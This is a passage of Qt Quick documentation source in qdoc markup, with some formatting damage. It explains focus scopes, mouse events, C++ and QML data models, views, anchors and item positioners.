`\li` Within each focus scope one object may have `Focus` set to `true`. If more than one `Item` has the `Focus` property set, the last type to set the `Focus` will have the focus and the others are unset, similar to when there are no focus scopes.

`\li` When a focus scope receives active focus, the contained type with `Focus` set (if any) also gets the active focus. If this type is also a `FocusScope`, the proxying behavior continues. Both the focus scope and the sub-focused item will have `activeFocus` property set.

`\endlist`

Note that, since the `FocusScope` type is not a visual type, the properties

of its children need to be exposed to the parent item of the FocusScope. Layouts and positioning types will use these visual and styling properties to create the layout. In our example, the `\c Column` type cannot display the two widgets properly because the FocusScope lacks visual properties of its own. The MyWidget component directly binds to the `\c rectangle` properties to allow the `\c Column` type to create the layout containing the children of the FocusScope.

So far, the example has the second component statically selected. It is trivial now to extend this component to make it clickable, and add it to the original application. We still set one of the widgets as focused by default. Now, clicking either MyClickableWidget gives it focus and the other widget loses the focus.

The code that imports and creates two MyClickableWidget instances:

```
\snippet qml/focus/clickablewidget.qml clickable window
```

The MyClickableWidget code:

```
\snippet qml/focus/MyClickableWidget.qml clickable in focusscope
```

When a QML `\I` Item explicitly relinquishes focus (by setting its `\c focus` property to `\c false` while it has active focus), the system does not automatically select another type to receive focus. That is, it is possible for there to be no currently active focus.

See [Qt Quick Examples - Key Interaction](#) for a demonstration of moving keyboard focus between multiple areas using `FocusScope` types.

## Advanced Uses of Focus Scopes

Focus scopes allow focus allocation to be easily partitioned. Several QML items use it to this effect.

`ListView`, for example, is itself a focus scope. Generally this isn't noticeable as `ListView` doesn't usually have manually added visual children. By being a focus scope, `ListView` can focus the current list item without worrying about how that will effect the rest of the application. This allows the current item delegate to react to key presses.

This contrived example shows how this works. Pressing the `Return` key will print the name of the current list item.

`qml/focus/advancedFocus.qml` `FocusScope` delegate

`declarative-qmlfocus5.png`

While the example is simple, there are a lot going on behind the scenes. Whenever the current item changes, the `ListView` sets the delegate's `{Item::focus}`

property. As the `\l ListView` is a focus scope, this doesn't affect the rest of the application. However, if the `\l ListView` itself has active focus this causes the delegate itself to receive active focus. In this example, the root type of the delegate is also a focus scope, which in turn gives active focus to the `\c {Text}` type that actually performs the work of handling the `\c {Return}` key.

All of the QML view classes, such as `\l PathView` and `\l GridView`, behave in a similar manner to allow key handling in their respective delegates.

\page qtquick-input-mouseevents.html

\ingroup QML Features

\title Mouse Events

\brief handling mouse events in Qt Quick

\tableofcontents

\section1 Mouse Types

\list

\li \li{MouseArea} type

- \li \{\MouseEvent} object

- \endlist

## \section1 Mouse Event Handling

QML uses \{qtqml-syntax-signals.html}\{signals and handlers} to deliver mouse interactions. Specifically, Qt Quick provides the \I MouseArea and \I MouseEvent types which allow developers to define signal handlers which accept mouse events within a defined area.

## \section1 Defining a Mouse Area

The \I MouseArea type receives events within a defined area. One quick way to define this area is to anchor the \c MouseArea to its parent's area using the \c anchors.fill property. If the parent is a \I Rectangle (or any \I Item component), then the MouseArea will fill the area defined by the parent's dimensions. Alternatively, an area smaller or larger than the parent is definable.

\snippet qml/mousearea/mousearea-snippet.qml anchor fill

## \section1 Receiving Events

The MouseArea type provides \{qtqml-syntax-signals.html}\{signals and handlers} to detect different mouse events. The \I MouseArea type documentation describes these

gestures in greater detail:

```
\list
\li canceled
\li clicked
\li doubleClicked
\li entered
\li exited
\li positionChanged
\li pressAndHold
\li pressed
\li released
\endlist
```

These signals have signal handlers that are invoked when the signals are emitted.

```
\snippet qml/mousearea/mousearea-snippet.qml mouse handlers
```

## \section1 Enabling Gestures

Some mouse gestures and button clicks need to be enabled before they send or receive events. Certain `\l MouseArea` and `\l MouseEvent` properties enable these gestures.

To listen to (or explicitly ignore) a certain mouse button, set the appropriate mouse button to the `\l {MouseArea::acceptedButtons}{acceptedButtons}` property.

Naturally, the mouse events, such as button presses and mouse positions, are sent during a mouse click. For example, the `containsMouse` property will only retrieve its correct value during a mouse press. The

`{MouseArea::hoverEnabled}{hoverEnabled}` will enable mouse events and positioning even when there are no mouse button presses. Setting the `hoverEnabled` property to `true`, in turn will enable the `entered`, `exited`, and `positionChanged` signal and their respective signal handlers.

`qml/mousearea/mousearea-snippet.qml` enable handlers

Additionally, to disable the whole mouse area, set the `MouseArea` `enabled` property to `false`.

## MouseEvent Object

Signals and their handlers receive a `MouseEvent` object as a parameter. The `mouse` object contain information about the mouse event. For example, the mouse button that started the event is queried through the `{MouseEvent::button}{mouse.button}` property.

The `MouseEvent` object can also ignore a mouse event using its `accepted` property.

## Accepting Further Signals

Many of the signals are sent multiple times to reflect various mouse events such as double clicking. To facilitate the classification of mouse clicks, the

MouseEvent object has an `accepted` property to disable the event propagation.

To learn more about QML's event system, please read the

`qml-syntax-signals.html` signals and handlers, and event system document.

\page qtquick-input-topic.html

\title Important Concepts In Qt Quick - User Input

\brief Overview of user input concepts

Being able to respond to user-input is a fundamental part of user-interface design. Depending on the use-case that an application solves, and the form-factor of the device that the application runs on, the best way to receive user-input may be different.

\section1 Touch

Allowing users to physically touch a screen to interact with an application is a popular user-interface paradigm on portable devices like smartphones and tablets.

Qt Quick was designed specifically with touch-driven user-interfaces in mind,

and thus touch events are supported in various visual object types, from `\{Flickable}` lists to the generic `\{MultiPointTouchArea}` type, as well as in the `\{MouseArea}` type (which will be documented thoroughly in a proceeding section).

## \section1 Mouse

Mouse input is another important user input for user interfaces. Detecting and reacting to clicks and presses according to the mouse cursor position is a fundamental concept in user-interface design.

Qt Quick provides the `MouseArea` visual object type which automatically receives mouse events (including clicks and wheel events) which allows developers to create custom user-interface objects to handle mouse input. Please see the documentation about `\{qtquick-input-mouseevents.html}` {mouse events in Qt Quick} for more information on the topic.

## \section1 Keyboard Input and Keyboard Focus

Supporting input from a keyboard is a vital component of the user interface of many applications.

Any visual item can receive keyboard input through the `\{Keys attached}` type.

Additionally, the issue of `{keyboard focus}` arises when multiple items are required to receive key events, as these events must be passed to the correct item. See the documentation about `{Keyboard focus in Qt Quick}` for more information on this topic.

Qt Quick also provides visual text items which automatically receive keyboard events and key-presses, and displays the appropriate text. See the documentation about `{qtquick-input-textinput.html}{text input}` for in-depth information on the topic.

## `{section1 Device Motion Gestures}`

Detecting device gestures with an accelerometer, or through camera-based gesture recognition, can allow users to interact with an application without requiring their full and undivided attention. It can also provide a more interactive and engaging experience.

Qt Quick itself does not offer first-class support for physical device motion gestures; however, the `{Qt Sensors}` module provides QML types with support for such gestures. See the `{Qt Sensors}` module documentation for more information on the topic.

\page qtquick-modelviewsdata-cppmodels.html

\title Using C++ Models with Qt Quick Views

\brief using Qt Quick views with models defined in C++

\section1 Data Provided In A Custom C++ Model

Models can be defined in C++ and then made available to QML. This is useful for exposing existing C++ data models or otherwise complex datasets to QML.

A C++ model class can be defined as a `QStringList`, a `QObjectList` or a `QAbstractItemModel`. The first two are useful for exposing simpler datasets, while `QAbstractItemModel` provides a more flexible solution for more complex models.

\section2 QStringList-based Model

A model may be a simple `QStringList`, which provides the contents of the list via the `modelData` role.

Here is a `ListView` with a delegate that references its model item's value using the `modelData` role:

\snippet models/stringlistmodel/view.qml 0

A Qt application can load this QML document and set the value of \c myModel to a QStringList:

\snippet models/stringlistmodel/main.cpp 0

The complete source code for this example is available in

\l {models/stringlistmodel}{examples/quick/models/stringlistmodel}  
within the Qt install directory.

\b{Note:} There is no way for the view to know that the contents of a QStringList have changed. If the QStringList changes, it will be necessary to reset the model by calling QQmlContext::setContextProperty() again.

## \section2 QObjectList-based model

A list of QObject\* values can also be used as a model. A QList<QObject\*> provides the properties of the objects in the list as roles.

The following application creates a \c DataObject class with Q\_PROPERTY values that will be accessible as named roles when a QList<DataObject\*> is exposed to QML:

\snippet models/objectlistmodel/dataobject.h 0

\dots 4

\snippet models/objectlistmodel/dataobject.h 1

\codeline

\snippet models/objectlistmodel/main.cpp 0

\dots

The QObject\* is available as the \c modelData property. As a convenience, the properties of the object are also made available directly in the delegate's context. Here, \c view.qml references the \c DataModel properties in the ListView delegate:

\snippet models/objectlistmodel/view.qml 0

Note the use of \c color property with qualifier.

The properties of the object are not replicated in the \c model object, as they are easily available via the \c modelData object.

The complete source code for this example is available in

\l {models/objectlistmodel}{examples/quick/models/objectlistmodel}  
within the Qt install directory.

Note: There is no way for the view to know that the contents of a QList

has changed. If the `QList` changes, it is necessary to reset the model by calling `QQmlContext::setContextProperty()` again.

## `\section2 QAbstractItemModel`

A model can be defined by subclassing `QAbstractItemModel`. This is the best approach if you have a more complex model that cannot be supported by the other approaches. A `QAbstractItemModel` can also automatically notify a QML view when the model data changes.

The roles of a `QAbstractItemModel` subclass can be exposed to QML by reimplementing `QAbstractItemModel::roleNames()`.

Here is an application with a `QAbstractListModel` subclass named `\c AnimalModel`, which exposes the `\e type` and `\e sizes` roles. It reimplements `QAbstractItemModel::roleNames()` to expose the role names, so that they can be accessed via QML:

```
\snippet models/abstractitemmodel/model.h 0
```

```
\dots
```

```
\snippet models/abstractitemmodel/model.h 1
```

```
\dots
```

```
\snippet models/abstractitemmodel/model.h 2
```

```
\codeline
```

\snippet models/abstractitemmodel/model.cpp 0

\codeline

\snippet models/abstractitemmodel/main.cpp 0

\dots

This model is displayed by a `ListView` delegate that accesses the `type` and `size` roles:

\snippet models/abstractitemmodel/view.qml 0

QML views are automatically updated when the model changes. Remember the model must follow the standard rules for model changes and notify the view when the model has changed by using `QAbstractItemModel::dataChanged()`, `QAbstractItemModel::beginInsertRows()`, and so on. See the [Model subclassing reference](#) for more information.

The complete source code for this example is available in

`\models/abstractitemmodel/examples/quick/models/abstractitemmodel`

within the Qt install directory.

`QAbstractItemModel` presents a hierarchy of tables, but the views currently provided by QML can only display list data.

In order to display the child lists of a hierarchical model, use the `DelegateModel` QML type, which provides the following properties and functions to be used with list models of `QAbstractItemModel` type:

\list

\li \e hasModelChildren role property to determine whether a node has child nodes.

\li \l DelegateModel::rootIndex allows the root node to be specified

\li \l DelegateModel::modelIndex() returns a QModelIndex which can be assigned to DelegateModel::rootIndex

\li \l DelegateModel::parentModelIndex() returns a QModelIndex which can be assigned to DelegateModel::rootIndex

\endlist

## \section2 Exposing C++ Data Models to QML

The above examples use QQmlContext::setContextProperty() to set model values directly in QML components. An alternative to this is to register the C++ model class as a QML type (either

\l{Defining QML Types from C++}{directly} from a C++ entry-point, or within the initialization function of a \l{Creating C++ Plugins for QML}

{QML C++ plugin}, as shown below). This would allow the model classes to be created directly as types within QML:

\table

\row

\li

\code

```
class MyModelPlugin : public QQmlExtensionPlugin
```

```

{
    Q_OBJECT

    Q_PLUGIN_METADATA(IID "org.qt-project.QmlExtension.MyModel" FILE "mymodel.json")

public:

    void registerTypes(const char *uri)
    {
        qmlRegisterType<MyModel>(uri, 1, 0,
            "MyModel");
    }
}

\endcode

```

\li

\qml

```

MyModel {
    id: myModel

    ListElement { someProperty: "some value" }
}

\endqml

```

\qml

```

ListView {
    width: 200; height: 250

    model: myModel

    delegate: Text { text: someProperty }
}

```

```
}
```

```
\endqml
```

```
\endtable
```

See \l {Writing QML Extensions with C++} for details on writing QML C++ plugins.

\title Models and Views in Qt Quick

\brief how to display and form data in Qt Quick

Simply put, applications need to form data and display the data. Qt Quick has the notion of \e models, \e views, and \e delegates to display data. They modularize the visualization of data in order to give the developer or designer control over the different aspects of the data. A developer can swap a list view with a grid view with little changes to the data. Similarly, encapsulating an instance of the data in a delegate allows the developer to dictate how to present or handle the data.

\image modelview-overview.png

\list

- \li \b Model - contains the data and its structure. There are several QML types for creating models.

- \li \b View - a container that displays the data. The view might display the data in a list or a grid.

- \li \b Delegate - dictates how the data should appear in the view.

The delegate takes each data in the model and encapsulates it. The data is accessible through the delegate.

\endlist

To visualize data, bind the view's \c model property to a model and the \c delegate property to a component or another compatible type.

## \section1 Displaying Data with Views

Views are containers for collections of items. They are feature-rich and can be customizable to meet style or behavior requirements.

\keyword qtquick-views

A set of standard views are provided in the basic set of Qt Quick graphical types:

\list

- \li \l{ListView} - arranges items in a horizontal or vertical list
  - \li \l{GridView} - arranges items in a grid within the available space
  - \li \l{PathView} - arranges items on a path
- \endlist

These types have properties and behaviors exclusive to each type.

Visit their respective documentation for more information.

## \section2 Decorating Views

Views allow visual customization through \e decoration properties such as the \c header, \c footer, and \c section properties. By binding an object, usually another visual object, to these properties, the views are decoratable. A footer may include a \l Rectangle type showcasing borders or a header that displays a logo on top of the list.

Suppose that a specific club wants to decorate its members list with its brand colors. A member list is in a \c model and the \c delegate will display the model's content.

\snippet qml/listview-decorations.qml model

\snippet qml/listview-decorations.qml delegate

The club may decorate the members list by binding visual objects to the \c header and \c footer properties. The visual object may be defined inline, in another file, or in a \l {Component} type.

\snippet qml/listview-decorations.qml decorations

\image listview-decorations.png

## \section2 Mouse and Touch Handling

The views handle dragging and flicking of their content, however they do not handle touch interaction with the individual delegates. In order for the delegates to react to touch input, e.g. to set the \c currentIndex, a MouseArea with the appropriate touch handling logic must be provided by the delegate.

Note that if \c highlightRangeMode is set to \c StrictlyEnforceRange the currentIndex will be affected by dragging/flicking the view, since the view will always ensure that the \c currentIndex is within the highlight range specified.

## \section2 ListView Sections

\l {ListView} contents may be grouped into \e sections, where related list items are labeled according to their sections. Further, the sections may be decorated with \l {qml-view-delegate}{delegates}.

A list may contain a list indicating people's names and the team on which team the person belongs.

\snippet qml/listview-sections.qml model

\snippet qml/listview-sections.qml delegate

The ListView type has the \c section

\l{qtqml-syntax-objectattributes.html#Attached-properties-and-attached-signal-handlers}

{attached property} that can combine adjacent and related types into a

section. The \c section.property determines which list

type property to use as sections. The \c section.criteria can dictate how the

section names are displayed and the \c section.delegate is similar to the views'

\l {qml-view-delegate}{delegate} property.

\snippet qml/listview-sections.qml section

\image listview-section.png

\keyword qml-view-delegate

\section1 View Delegates

Views need a \e delegate to visually represent an item in a list. A view will

visualize each item list according to the template defined by the delegate.

Items in a model are accessible through the \c index property as well as the

item's properties.

\snippet qml/listview.qml delegate

\image listview-setup.png

\section2 Accessing Views and Models from Delegates

The list view to which the delegate is bound is accessible from the delegate

through the `ListView.view` property. Likewise, the `GridView` `GridView.view` is available to delegates. The corresponding model and its properties, therefore, are available through `ListView.view.model`. In addition, any defined signals or methods in the model are also accessible.

This mechanism is useful when you want to use the same delegate for a number of views, for example, but you want decorations or other features to be different for each view, and you would like these different settings to be properties of each of the views. Similarly, it might be of interest to access or show some properties of the model.

In the following example, the delegate shows the property `language` of the model, and the color of one of the fields depends on the property `fruit_color` of the view.

`\snippet qml/models/views-models-delegates.qml rectangle`

`\keyword qml-data-models`

`\section1 Models`

Data is provided to the delegate via named data roles which the delegate may bind to. Here is a `ListModel` with two roles, `type` and `age`, and a `ListView` with a delegate that binds to these roles to display their values:

`\snippet qml/qml-data-models/listmodel-listview.qml document`

If there is a naming clash between the model's properties and the delegate's properties, the roles can be accessed with the qualified `\e model` name instead. For example, if a `Text` type had `type` or `age` properties, the text in the above example would display those property values instead of the `type` and `age` values from the model item. In this case, the properties could have been referenced as `\c model.type` and `\c model.age` instead to ensure the delegate displays the property values from the model item.

A special `\e index` role containing the index of the item in the model is also available to the delegate. Note this index is set to `-1` if the item is removed from the model. If you bind to the index role, be sure that the logic accounts for the possibility of index being `-1`, i.e. that the item is no longer valid. (Usually the item will shortly be destroyed, but it is possible to delay delegate destruction in some views via a `\c delayRemove` attached property.)

Models that do not have named roles (such as the `ListModel` shown below) will have the data provided via the `\e modelData` role. The `\e modelData` role is also provided for models that have only one role. In this case the `\e modelData` role contains the same data as the named role.

QML provides several types of data models among the built-in set of QML types. In addition, models can be created with Qt C++ and then made

available to the `QMLEngine` for use by QML components. For information about creating these models, visit the `Using C++ Models with Qt Quick Views` and `qml-typesystem-topic.html#qml-object-types` `creating QML types` articles.

Positioning of items from a model can be achieved using a `Repeater`.

## ListModel

ListModel is a simple hierarchy of types specified in QML. The available roles are specified by the `ListElement` properties.

`qml/qml-data-models/listelements.qml` model

The above model has two roles, `name` and `cost`. These can be bound to by a `ListView` delegate, for example:

`qml/qml-data-models/listelements.qml` view

ListModel provides methods to manipulate the ListModel directly via JavaScript.

In this case, the first item inserted determines the roles available to any views that are using the model. For example, if an empty ListModel is created and populated via JavaScript, the roles provided by the first insertion are the only roles that will be shown in the view:

\snippet qml/qml-data-models/dynamic-listmodel.qml model

\dots

\snippet qml/qml-data-models/dynamic-listmodel.qml mouse area

When the MouseArea is clicked, \c fruitModel will have two roles, \e cost and \e name.

Even if subsequent roles are added, only the first two will be handled by views

using the model. To reset the roles available in the model, call ListModel::clear().

## \section2 XmlListModel

XmlListModel allows construction of a model from an XML data source. The roles are specified via the \l XmlRole type. The type needs to be imported.

\code

```
import QtQuick.XmlListModel 2.0
```

\endcode

The following model has three roles, \e title, \e link and \e description:

\qml

```
XmlListModel {
```

```
    id: feedModel
```

```
    source: "http://rss.news.yahoo.com/rss/oceania"
```

```

        query: "/rss/channel/item"

        XmlRole { name: "title"; query: "title/string()" }

        XmlRole { name: "link"; query: "link/string()" }

        XmlRole { name: "description"; query: "description/string()" }

    }

\endqml

```

The \{Qt Quick Demo - RSS News\}{RSS News demo} shows how XmlListModel can be used to display an RSS feed.

## \section2 VisualItemModel

VisualItemModel allows QML items to be provided as a model.

This model contains both the data and delegate; the child items of a VisualItemModel provide the contents of the delegate. The model does not provide any roles.

\snippet qml/models/visual-model-and-view.qml visual model and view

Note that in the above example there is no delegate required.

The items of the model itself provide the visual types that will be positioned by the view.

## \section2 Integers as Models

An integer can be used as a model that contains a certain number of types. In this case, the model does not have any data roles.

The following example creates a ListView with five elements:

```
\qml
```

```
Item {
```

```
    width: 200; height: 250
```

```
    Component {
```

```
        id: itemDelegate
```

```
        Text { text: "I am item number: " + index }
```

```
    }
```

```
    ListView {
```

```
        anchors.fill: parent
```

```
        model: 5
```

```
        delegate: itemDelegate
```

```
    }
```

```
}
```

```
\endqml
```

## \section2 Object Instances as Models

An object instance can be used to specify a model with a single object type. The properties of the object are provided as roles.

The example below creates a list with one item, showing the color of the \e myText text. Note the use of the fully qualified \e model.color property to avoid clashing with \e color property of the Text type in the delegate.

\qml

Rectangle {

width: 200; height: 250

Text {

id: myText

text: "Hello"

color: "#dd44ee"

}

Component {

id: myDelegate

Text { text: model.color }

}

ListView {

```
anchors.fill: parent
anchors.topMargin: 30
model: myText
delegate: myDelegate
}
}
\endqml
```

```
\keyword qml-c++-models
\section2 C++ Data Models
```

Models can be defined in C++ and then made available to QML. This mechanism is useful for exposing existing C++ data models or otherwise complex datasets to QML.

For information, visit the [\{Using C++ Models with Qt Quick Views}](#) article.

```
\section1 Repeaters
```

```
\div {class="float-right"}
\inlineimage repeater-index.png
\enddiv
```

Repeaters create items from a template for use with positioners, using data from a model. Combining repeaters and positioners is an easy way to lay out lots of items. A `Repeater` item is placed inside a positioner, and generates items that the enclosing positioner arranges.

Each Repeater creates a number of items by combining each element of data from a model, specified using the `Repeater::model` property, with the template item, defined as a child item within the Repeater.

The total number of items is determined by the amount of data in the model.

The following example shows a repeater used with a `Grid` item to arrange a set of `Rectangle` items. The Repeater item creates a series of 24 rectangles for the `Grid` item to position in a 5 by 5 arrangement.

`\snippet qml/repeaters/repeater-grid-index.qml` document

The number of items created by a Repeater is held by its `Repeater::count` property. It is not possible to set this property to determine the number of items to be created. Instead, as in the above example, we use an integer as the model. This is explained in the `qtquick-modelviewsdata-modelview.html#integers-as-models` {QML Data Models} document.

It is also possible to use a delegate as the template for the items created by a Repeater. This is specified using the `Repeater::delegate` property.

## \section1 Using Transitions

Transitions can be used to animate items that are added to, moved within, or removed from a positioner.

Transitions for adding items apply to items that are created as part of a positioner, as well as those that are reparented to become children of a positioner.

Transitions for removing items apply to items within a positioner that are deleted, as well as those that are removed from a positioner and given new parents in a document.

Additionally, changing the opacity of items to zero will cause them to disappear using the remove transition, and making the opacity non-zero will cause them to appear using the add transition.

\title Important Concepts In Qt Quick - Data - Models, Views and Data Storage

\brief Overview of the data, model and view concepts

Most applications will have data that needs to be displayed to the user. That data might come from a variety of sources: network sources, local files, and databases are all common sources of data.

\section1 Models and Views

It is often advantageous to show similar data in a similar manner, within an application, and this gives rise to the idea of having a model which contains data, and a view which displays the data. The view will display a delegate for every datum in the model.

For information about how the Model/View paradigm is implemented in Qt Quick, see the page titled \{qtquick-modelviewsdata-modelview.html} {Models and Views in Qt Quick}.

\section1 Data Storage and Access

Databases are commonly used to store information in applications. Qt Quick provides simplified access to relational databases via the \l QtQuick.LocalStorage module.

\page qtquick-positioning-anchors.html

\title Positioning with Anchors

\brief placing items with anchor properties

\target anchor-layout

In addition to the more traditional \l Grid, \l Row, and \l Column,

Qt Quick also provides a way to layout items using the concept of \e anchors.

Each item can be thought of as having a set of 7 invisible "anchor lines":

\l {Item::anchors.left}{left}, \l {Item::anchors.horizontalCenter}{horizontalCenter},

\l {Item::anchors.right}{right}, \l {Item::anchors.top}{top},

\l {Item::anchors.verticalCenter}{verticalCenter}, \l {Item::anchors.baseline}{baseline},

and \l {Item::anchors.bottom}{bottom}.

\image edges\_qml.png

The baseline (not pictured above) corresponds to the imaginary line on which

text would sit. For items with no text it is the same as \e top.

The Qt Quick anchoring system allows you to define relationships between the anchor lines of different items. For example, you can write:

\code

```
Rectangle { id: rect1; ... }  
  
Rectangle { id: rect2; anchors.left: rect1.right; ... }  
  
\endcode
```

In this case, the left edge of \e rect2 is bound to the right edge of \e rect1, producing the following:

```
\image edge1.png
```

You can specify multiple anchors. For example:

```
\code  
  
Rectangle { id: rect1; ... }  
  
Rectangle { id: rect2; anchors.left: rect1.right; anchors.top: rect1.bottom; ... }  
  
\endcode
```

```
\image edge3.png
```

By specifying multiple horizontal or vertical anchors you can control the size of an item. Below, \e rect2 is anchored to the right of \e rect1 and the left of \e rect3. If either of the blue rectangles are moved, \e rect2 will stretch and shrink as necessary:

```
\code  
  
Rectangle { id: rect1; x: 0; ... }  
  
Rectangle { id: rect2; anchors.left: rect1.right; anchors.right: rect3.left; ... }
```

```
Rectangle { id: rect3; x: 150; ... }
```

```
\endcode
```

```
\image edge4.png
```

There are also some convenience anchors. `anchors.fill` is a convenience that is the same as setting the `left`, `right`, `top` and `bottom` anchors

to the `left`, `right`, `top` and `bottom` of the target item. `anchors.centerIn` is another convenience anchor, and is the same as setting the `verticalCenter`

and `horizontalCenter` anchors to the `verticalCenter` and `horizontalCenter` of the target item.

## ``` \section1 Anchor Margins and Offsets ```

The anchoring system also allows `\e` margins and `\e` offsets to be specified for an item's anchors.

Margins specify the amount of empty space to leave to the outside of an item's anchor, while

offsets allow positioning to be manipulated using the center anchor lines. An item can

specify its anchor margins individually through `\l {Item::anchors.leftMargin}{leftMargin}`,

`\l {Item::anchors.rightMargin}{rightMargin}`, `\l {Item::anchors.topMargin}{topMargin}` and

`\l {Item::anchors.bottomMargin}{bottomMargin}`, or use `\l {Item::}{anchors.margins}` to

specify the same margin value for all four edges. Anchor offsets are specified using

`\l {Item::anchors.horizontalCenterOffset}{horizontalCenterOffset}`,

`\l {Item::anchors.verticalCenterOffset}{verticalCenterOffset}` and

`\l {Item::anchors.baselineOffset}{baselineOffset}`.

```
\image margins_qml.png
```

The following example specifies a left margin:

```
\code
```

```
Rectangle { id: rect1; ... }
```

```
Rectangle { id: rect2; anchors.left: rect1.right; anchors.leftMargin: 5; ... }
```

```
\endcode
```

In this case, a margin of 5 pixels is reserved to the left of `rect2`, producing the following:

```
\image edge2.png
```

`\note` Anchor margins only apply to anchors; they are `\e` not a generic means of applying margins to an `\l` Item.

If an anchor margin is specified for an edge but the item is not anchored to any item on that edge, the margin is not applied.

```
\section1 Changing Anchors
```

Qt Quick provides the `AnchorChanges` type for specifying the anchors in a state.

```
\qml
```

```
State {
```

```
    name: "anchorRight"
```

```
    AnchorChanges {
```

```
        target: rect2
```

```
        anchors.right: parent.right
```

```
    anchors.left: undefined //remove the left anchor
  }
}
\endqml
```

AnchorChanges can be animated using the AnchorAnimation type.

```
\qml
Transition {
    AnchorAnimation {} //animates any AnchorChanges in the corresponding state change
}
\endqml
```

Anchors can also be changed imperatively within JavaScript. However, these changes should be carefully ordered, or they may produce unexpected outcomes. The following example illustrates the issue:

```
\table
\row
\li
    \code
    //bad code
    Rectangle {
        width: 50
        anchors.left: parent.left
```

```

function reanchorToRight() {
    anchors.right = parent.right
    anchors.left = undefined
}
}
\endcode
\li
    \image anchor_ordering_bad.png
\endtable

```

When `\c reanchorToRight` is called, the function first sets the right anchor. At that point, both left and right anchors are set, and the item will be stretched horizontally to fill its parent. When the left anchor is unset, the new width will remain. Thus when updating anchors within JavaScript, you should first unset any anchors that are no longer required, and only then set any new anchors that are required, as shown below:

```

\table
\row
\li
    \qml
    Rectangle {
        width: 50
        anchors.left: parent.left
    }
\endqml
\endli
\endrow
\endtable

```

```

function reanchorToRight() {
    anchors.left = undefined
    anchors.right = parent.right
}
}
\endqml
\li
    \image anchor_ordering.png
\endtable

```

Because the evaluation order of bindings is not defined, it is not recommended to change anchors via conditional bindings, as this can lead to the ordering issue described above. In the following example the Rectangle will eventually grow to the full width of its parent, because both left and right anchors will be simultaneously set during binding update.

```

\code
//bad code
Rectangle {
    width: 50; height: 50
    anchors.left: state == "right" ? undefined : parent.left;
    anchors.right: state == "right" ? parent.right : undefined;
}
\endcode

```

This should be rewritten to use `AnchorChanges` instead, as `AnchorChanges` will automatically handle

ordering issues internally.

## `\section1 Restrictions`

For performance reasons, you can only anchor an item to its siblings and direct parent. For example, the following anchor is invalid and would produce a warning:

```
\code
//bad code
Item {
  id: group1
  Rectangle { id: rect1; ... }
}
Item {
  id: group2
  Rectangle { id: rect2; anchors.left: rect1.right; ... } // invalid anchor!
}
\endcode
```

Also, anchor-based layouts cannot be mixed with absolute positioning. If an item specifies its `\l {Item::}{x}` position and also sets `\l {Item::}{anchors.left}`, or anchors its left and right edges but additionally sets a `\l {Item::}{width}`, the result is undefined, as it would not be clear whether the item should use anchoring or absolute positioning. The same can be said for setting an item's `\l {Item::}{y}` and `\l {Item::}{height}` with `\l {Item::}{anchors.top}` and `\l {Item::}{anchors.bottom}`, or setting `\l {Item::}{anchors.fill}`

as well as `\l {Item::}{width}` or `\l {Item::}{height}`. The same applies when using positioners such as Row and Grid, which may set the item's `\l {Item::}{x}` and `\l {Item::}{y}` properties.

If you wish to change from using anchor-based to absolute positioning, you can clear an anchor value by setting it to `\c undefined`.

\ingroup qtquick-positioners

\page qtquick-positioning-layouts.html

\title Item Positioners

Positioner items are container items that manage the positions of items in a declarative user interface. Positioners behave in a similar way to the \{Qt Widgets} layout managers used with standard Qt widgets, except that they are also containers in their own right.

Positioners make it easier to work with many items when they need to be arranged in a regular layout.

\{Qt Quick Layouts} can also be used to arrange Qt Quick items in a user interface.

They manage both the positions and the sizes of items on a declarative user interface, and are well suited for resizable user interfaces.

## \section1 Positioners

A set of standard positioners are provided in the basic set of Qt Quick graphical types:

\generatelist{related}

## \section2 Column

\div {class="float-right"}

\inlineimage qml-column.png

\enddiv

\l Column items are used to vertically arrange items. The following example uses a Column item to arrange three \l Rectangle items in an area defined by an outer \l Item. The \l{Column::spacing}{spacing} property is set to include a small amount of space between the rectangles.

\snippet qml/column/column.qml document

Note that, since Column inherits directly from Item, any background color must be added to a parent Rectangle, if desired.

## \section2 Row

```
\div {class="float-right"}  
\inlineimage qml-row.png  
\enddiv
```

\l Row items are used to horizontally arrange items. The following example uses a Row item to arrange three rounded \l Rectangle items in an area defined by an outer colored Rectangle. The `\l{Row::spacing}{spacing}` property is set to include a small amount of space between the rectangles.

We ensure that the parent Rectangle is large enough so that there is some space left around the edges of the horizontally centered Row item.

\snippet qml/row.qml document

\section2 Grid

```
\div {class="float-right"}  
\inlineimage qml-grid-spacing.png  
\enddiv
```

\l Grid items are used to place items in a grid or table arrangement. The following example uses a Grid item to place four \l Rectangle items in a 2-by-2 grid. As with the other positioners, the spacing between items can be specified using the `\l{Grid::spacing}{spacing}` property.

\snippet qml/grid-spacing.qml document

There is no difference between horizontal and vertical spacing inserted between items, so any additional space must be added within the items themselves.

Any empty cells in the grid must be created by defining placeholder items at the appropriate places in the Grid definition.

\section2 Flow

\div {class="float-right"}

\inlineimage qml-flow-text1.png

\inlineimage qml-flow-text2.png

\enddiv

\I Flow items are used to place items like words on a page, with rows or columns of non-overlapping items.

Flow items arrange items in a similar way to \I Grid items, with items arranged in lines along one axis (the minor axis), and lines of items placed next to each other along another axis (the major axis). The direction of flow, as well as the spacing between items, are controlled by the `\{Flow::}{flow}` and `\{Flow::}{spacing}` properties.

The following example shows a Flow item containing a number of \I Text child items. These are arranged in a similar way to those shown in the screenshots.

\snippet qml/flow.qml document

The main differences between the Grid and Flow positioners are that items inside a Flow will wrap when they run out of space on the minor axis, and items on one line may not be aligned with items on another line if the items do not have uniform sizes. As with Grid items, there is no independent control of spacing between items and between lines of items.

\section1 Other Ways to Position Items

There are several other ways to position items in a user interface. In addition to the basic technique of specifying their coordinates directly, they can be positioned relative to other items with \I{anchor-layout}{anchors}, or used with \I{QML Data Models} such as

\I{QML Data Models#VisualItemModel}{VisualItemModel}.

\page qtquick-positioning-righttoleft.html

\title Right-to-left User Interfaces

\brief switching text flow and layout

\section1 Overview

This chapter discusses different approaches and options available for implementing right-to-left language support for Qt Quick applications. Some common right-to-left languages include Arabic, Hebrew, Persian and Urdu. Most changes include making sure that text translated to right-to-left languages is properly aligned to the right, and horizontally ordered content in views, lists and grids flows correctly from the right to left.

